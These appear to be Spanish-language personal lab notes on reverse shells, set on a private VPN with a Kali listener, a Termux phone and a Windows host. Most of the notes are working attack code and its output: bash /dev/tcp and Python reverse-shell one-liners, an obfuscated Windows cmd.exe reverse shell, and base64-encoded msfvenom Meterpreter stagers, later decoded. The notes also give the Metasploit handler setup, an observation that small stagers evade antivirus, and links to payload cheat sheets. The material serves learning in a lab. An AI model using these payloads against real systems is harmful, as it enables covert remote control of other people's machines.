Reverse Shell
Apuntes Reverse Shell. (sin formatear. fallo en md)
En el entono TCP/IP
Las conexiones inversas se utilizan cuando la maquina a la que necesito acceder esta detras de un cortafuegos.
Por lo que no puedo acceder a sus puertos de una forma convencional.
Me explico: Normalmente una maquina que esta detras de un cortafuegos/router/nat…
Solo puede hacer conexiones salientes. Pero no acepta o no funcionan las conexiones entrantes.
Es como un movil al que no le entran las llamadas pero si puede llamar.
Los Reverse-shell o interpretes inversos se utilizan cuando la maquina a la que necesito controlar esta detras de un cortafuegos.
Existen muchos progrmas de soporte que utilizan esta tecnica. (VNC connect , teamviewer…)
En el mundo de la seguridad informatica hay que vigilarlos/controlarlos. Ya que pueden ser utilizados para acceder a un equipo sin consentimiento.(y esto es illegal).
Veamos como funcionan algunos de ellos.
1- Prueba comunicacion:
- Kali (Negro IP:10.8.0.1) Maquina Escucha ( Conexion Entrante)
- host1 (Azul IP:10.8.0.4) cliente1 Movil con termux (conexion saliente)
Servidor (10.8.0.1) | Cliente (10.8.0.4) |
---|---|
Lanzo netcat a la escucha puerto 1234 em50l@jejo.es$ nc -klnvp 1234 listening on [any] 1234 ...El equipo se queda a la espera de una conexion entrante... | |
En un cliente lanzo el comando: echo test > /dev/tcp/10.8.0.6/1234
$ echo test > /dev/tcp/10.8.0.1/1234 $ | |
Y en el ordenador a la escucha apareceran los datos de la conexion entrante: connect to [10.8.0.1] from [10.8.0.4] 38364 test em50l@jejo.es$ |
2- Reverse shell: Bash shell
- Kali (Negro IP:10.8.0.1) Maquina Controladora (desde la que quiero acceder a los otros equipos)
- host1 (Azul IP:10.8.0.4) cliente1 Movil con termux
Servidor (10.8.0.1) | Cliente (10.8.0.4) |
---|---|
Lanzo netcat a la escucha puerto 1234 em50l@jejo.es$ nc -klnvp 1234 listening on [any] 1234 ...El equipo se queda a la espera de una conexion entrante... | |
En un cliente lanzo el comando: bash -i >& /dev/tcp/10.8.0.1/1234 0>&1
$ bash -i >& /dev/tcp/10.8.0.1/1234 0>&1 | |
Y en el ordenador a la escucha apareceran los datos de la conexion entrante: Y esta vez el simbolo del sistema del ordenador cliente connect to [10.8.0.1] from [10.8.0.4] 39527 $ Puedo comprobar que funciona encendiendo y apagando la linterna (flash de la camara).
Con el comando $ termux-torch on $ $ termux-torch off $ |
3- Revese shell: python
- Kali (Negro IP:10.8.0.1) Maquina Controladora (desde la que quiero acceder a los otros equipos)
- host1 (Azul IP:10.8.0.4) cliente1 Movil con termux
Servidor (10.8.0.1) | Cliente (10.8.0.4) |
---|---|
Lanzo netcat a la escucha puerto 1234 em50l@jejo.es$ nc -klnvp 1234 listening on [any] 1234 ...El equipo se queda a la espera de una conexion entrante... | |
En un cliente lanzo el comando:
$ python -c 'import socket,subprocess,os;s=socket.socket(2,1);s.connect(("10.8.0.6",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' Mas reverses aqui: | |
Y en el ordenador a la escucha apareceran los datos de la conexion entrante: Y esta vez el simbolo del sistema del ordenador cliente connect to [10.8.0.1] from [10.8.0.4] 39883 $ |
Reverse shell python windows contra linux (ips dentro vpn)
Servidor/victima a controlar (10.8.0.2) | Cliente/controlador (10.8.0.5) |
---|---|
|
Lanzo netcat a la escucha puerto 4242
nc -lp 4242
em50l@jejo.es$ nc -klnvp 4242 listening on [any]4242 ...El equipo se queda a la espera de una conexion entrante... |
**Comando:**`python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.8.5', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ` |
En el cliente (ordenador a la escucha) apareceran los datos de la conexion entrante:
Y esta vez el simbolo del sistema del ordenador cliente
jejo@em50l:/$ nc -lp 4242 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\System32> |
jejo@em50l:~$ telnet 10.0.8.2 1880 Trying 10.0.8.2... Connected to 10.0.8.2. Escape character is '^]'. Windows PowerShell running as user Administrator on WS2012 Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Users\Administrator>
4- Meterpreter staged
(Observa solo 446 bytes)
Creo un staged Payload (carga util por etapas)
root@kali:~# msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=10.8.0.6 LPORT=1234 [-] No platform was selected, choosing Msf::Module::Platform::Python from the payload [-] No arch selected, selecting arch: python from the payload No encoder or badchars specified, outputting raw payload Payload size: 446 bytes import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg=='))) root@kali:~#**Observa que este payload fase1 solo ocupa 446 bytes** Este payload no tiene capacidad para hacer casi nada en la maquina remota. Y dado su pequeño tamaño seria facil hacer que pase desapercibido ante un antivirus. En Casi todos los ataques **phising** intentan colarnos un payload de este tipo usando ingenieria social.
Servidor (10.8.0.6) | Cliente (10.8.0.4) |
---|---|
Lanzo meterpreter a la escucha puerto 1234.
root@kali:~# msfconsole =[ metasploit v5.0.41-dev ] msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.8.0.6 msf5 exploit(multi/handler) > set lport 1234 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.8.0.6:1234El meterpreter se queda a la escucha hasta que se conecte un cliente. | |
Ejecuto el codigo del payload en un cliente(azul):
$ python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))" $ | |
Cuando se conecta un cliente: 1 se le envia el payload completo (fase2)53kb (Sending stage) 2 Cuando el cliente ejecuta el payload correctamente se crea una sesion y aparece el interprete meterpreter> [*] Sending stage (53755 bytes) to 10.8.0.4 [*] Meterpreter session 2 opened (10.8.0.6:1234 -> 10.8.0.4:48001) at 2019-08-23 18:53:33 +0000 meterpreter > Nota: Es posible que tarde un rato en aparecer la linea >meterpreter
meterpreter > sysinfo Computer : localhost OS : Linux 3.18.35+ #2 SMP PREEMPT Mon Jan 22 15:09:08 CST 2018 Architecture : armv7l System Language : en_US Meterpreter : python/linux meterpreter > shell Process 9819 created. Channel 2 created. /bin/sh: 0: can't access tty; job control turned off $ |
Como se puede observar en el cliente se han creado los procesos: y se ha establecido una conexion con el servidor.
$ pstree -ln ─┬────[bash] └─python─┬─2*[{python}] └─sh $ netstat -putonal Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer tcp 0 0 10.8.0.4:48001 10.8.0.6:1234 ESTABLISHED 9729/python off (0.00/0/0) $
Si quiero ver el codigo del staged payload solo tengo que decodificarlo.
em50l@jejo.es$ echo "aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==" | base64 --decode import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('10.8.0.6',1234)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(d,{'s':s})
Como funciona un meterpreter staged:
root@kali:~# msfconsole =[ metasploit v5.0.41-dev ] msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.8.0.6 msf5 exploit(multi/handler) > set lport 1234 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.8.0.6:1234 [*] Sending stage (53755 bytes) to 10.8.0.4
** Si en el cliente en lugar de lanzar el payload lanzo:** nc 10.8.0.6 1234 -d 5
Vere el codigo que envia el meterpreter. para que se ejecute en el cliente.(en este caso 53Kb 53755bytes)
$ nc 10.8.0.6 1234 -d 5 #!/usr/bin/python import binascii import code import os import platform import random import re import select import socket import struct import subprocess import sys import threading import time import traceback try: import ctypes except ImportError: has_windll = False else: has_windll = hasattr(ctypes, 'windll') try: urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] if sys.version_info[0] < 3: urllib = __import__('urllib2', fromlist=urllib_imports) else: urllib = __import__('urllib.request', fromlist=urllib_imports) except ImportError: has_urllib = False else: has_urllib = True if sys.version_info[0] < 3: is_str = lambda obj: issubclass(obj.__class__, str) is_bytes = lambda obj: issubclass(obj.__class__, str) bytes = lambda *args: str(*args[:1]) NULL_BYTE = '\x00' unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) else: if isinstance(__builtins__, dict): is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) else: is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) is_bytes = lambda obj: issubclass(obj.__class__, bytes) NULL_BYTE = bytes('\x00', 'UTF-8') long = int unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) # reseed the random generator. random.seed()
Meterpreter no staged
(Observa 71850 bytes)
root@kali:~# msfvenom -f raw -p python/meterpreter_reverse_tcp LHOST=10.8.0.6 LPORT=1234 [-] No platform was selected, choosing Msf::Module::Platform::Python from the payload [-] No arch selected, selecting arch: python from the payload No encoder or badchars specified, outputting raw payload Payload size: 71850 bytes import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('**Omito Codigo**'))) root@kali:~#
Veo que es parecido al de arriba.
Unstaged Reverse shell en python
root@kali:~# msfvenom -p cmd/unix/reverse_python LHOST=10.8.0.6 LPORT=1234 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder or badchars specified, outputting raw payload Payload size: 453 bytes python -c "exec('aW1wb3J0IHNvY2tldCAgLHN1YnByb2Nlc3MgICxvcyAgICAgICAgOyBob3N0PSIxMC44LjAuNiIgICAgICAgIDsgcG9ydD0xMjM0ICAgICAgICA7IHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgLHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICAgIDsgcy5jb25uZWN0KChob3N0ICAscG9ydCkpICAgICAgICA7IG9zLmR1cDIocy5maWxlbm8oKSAgLDApICAgICAgICA7IG9zLmR1cDIocy5maWxlbm8oKSAgLDEpICAgICAgICA7IG9zLmR1cDIocy5maWxlbm8oKSAgLDIpICAgICAgICA7IHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
import socket,subprocess,os;
host="10.8.0.6";port=1234;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((host,port));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call("/bin/bash")
Unstaged Reverse shell en python (no funciona)
root@kali:~# msfvenom -f raw -p python/shell_reverse_tcp LHOST=10.8.0.6 LPORT=1234 [-] No platform was selected, choosing Msf::Module::Platform::Python from the payload [-] No arch selected, selecting arch: python from the payload No encoder or badchars specified, outputting raw payload Payload size: 389 bytes exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKTEg9RmFsc2UKd2hpbGUgbm90IExIOgoJZGF0YT1zby5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEg9VHJ1ZQoJc3RkaW4sc3Rkb3V0LHN0ZGVyciw9b3MucG9wZW4zKGRhdGEpCglzdGRvdXRfdmFsdWU9c3Rkb3V0LnJlYWQoKStzdGRlcnIucmVhZCgpCglzby5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64')) root@kali:~#___ **Al probar el codigo da error:**
em50l@jejo.es$ python -c "exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKTEg9RmFsc2UKd2hpbGUgbm90IExIOgoJZGF0YT1zby5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEg9VHJ1ZQoJc3RkaW4sc3Rkb3V0LHN0ZGVyciw9b3MucG9wZW4zKGRhdGEpCglzdGRvdXRfdmFsdWU9c3Rkb3V0LnJlYWQoKStzdGRlcnIucmVhZCgpCglzby5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64')) > " Traceback (most recent call last): File "<string>", line 1, in <module> File "<string>", line 9, in <module> File "/usr/lib/python2.7/os.py", line 693, in popen3 stderr=PIPE, close_fds=True) File "/usr/lib/python2.7/subprocess.py", line 394, in __init__ errread, errwrite) File "/usr/lib/python2.7/subprocess.py", line 1047, in _execute_child raise child_exception TypeError: execv() arg 2 must contain only strings em50l@jejo.es$
El problema de los programas codificados en base64 es que no hay manera de intuir el error.
Asi que intento sacar el codigo a ver que le ocurre:
em50l@jejo.es$ # echo aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKTEg9RmFsc2UKd2hpbGUgbm90IExIOgoJZGF0YT1zby5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEg9VHJ1ZQoJc3RkaW4sc3Rkb3V0LHN0ZGVyciw9b3MucG9wZW4zKGRhdGEpCglzdGRvdXRfdmFsdWU9c3Rkb3V0LnJlYWQoKStzdGRlcnIucmVhZCgpCglzby5zZW5kKHN0ZG91dF92YWx1ZSkK | base64 --decode import socket,os so=socket.socket(socket.AF_INET,socket.SOCK_STREAM) so.connect(('10.8.0.6',1234)) LH=False while not LH: data=so.recv(1024) if len(data)==0: LH=True stdin,stdout,stderr,=os.popen3(data) stdout_value=stdout.read()+stderr.read() so.send(stdout_value)
Al ejecutarlo sin codificar y ver el error ya saco algo mas en claro.
em50l@jejo.es$ python -c " > import socket,os > so=socket.socket(socket.AF_INET,socket.SOCK_STREAM) > so.connect(('10.8.0.6',1234)) > LH=False > while not LH: > data=so.recv(1024) > if len(data)==0: > LH=True > stdin,stdout,stderr,=os.popen3(data) > stdout_value=stdout.read()+stderr.read() > so.send(stdout_value) > " Traceback (most recent call last): File "<string>", line 10, in <module> File "/usr/lib/python2.7/os.py", line 693, in popen3 stderr=PIPE, close_fds=True) File "/usr/lib/python2.7/subprocess.py", line 394, in __init__ errread, errwrite) File "/usr/lib/python2.7/subprocess.py", line 1047, in _execute_child raise child_exception TypeError: execv() arg 2 must contain only strings em50l@jejo.es$
Codifico un codigo en python y lo pruebo.
em50l@jejo.es$ echo "import socket,struct,time > for x in range(15): > try: s=socket.socket(2,1);s.connect(('10.8.0.6',1234));break > except: time.sleep(5) > l=struct.unpack('>I',s.recv(4))[0];d=s.recv(l) > while len(d)<l: d+=s.recv(l-len(d)) > exec(d,{'s':s})" | base64 aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZSAKZm9yIHggaW4gcmFuZ2UoMTUpOgogdHJ5OiBzPXNv Y2tldC5zb2NrZXQoMiwxKTtzLmNvbm5lY3QoKCcxMC44LjAuNicsMTIzNCkpO2JyZWFrCiBleGNl cHQ6IHRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXTtkPXMu cmVjdihsKQp3aGlsZSBsZW4oZCk8bDogZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpz fSkK em50l@jejo.es$ python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZSAKZm9yIHggaW4gcmFuZ2UoMTUpOgogdHJ5OiBzPXNvY2tldC5zb2NrZXQoMiwxKTtzLmNvbm5lY3QoKCcxMC44LjAuNicsMTIzNCkpO2JyZWFrCiBleGNlcHQ6IHRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXTtkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDogZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))" em50l@jejo.es$
https://www.hacking.land/2017/02/stitch-un-rat-multiplataforma-escrito.html
Referencias
Reverse Shell Cheat Sheet https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
pentestmonkey: Reverse Shell Cheat Sheet http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Spawning a TTY Shell http://netsec.ws/?p=337
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
MSFvenom Payload Creator (MSFPC) A quick way to generate various “basic” Meterpreter payloads via msfvenom (part of the Metasploit framework). https://github.com/g0tmi1k/msfpc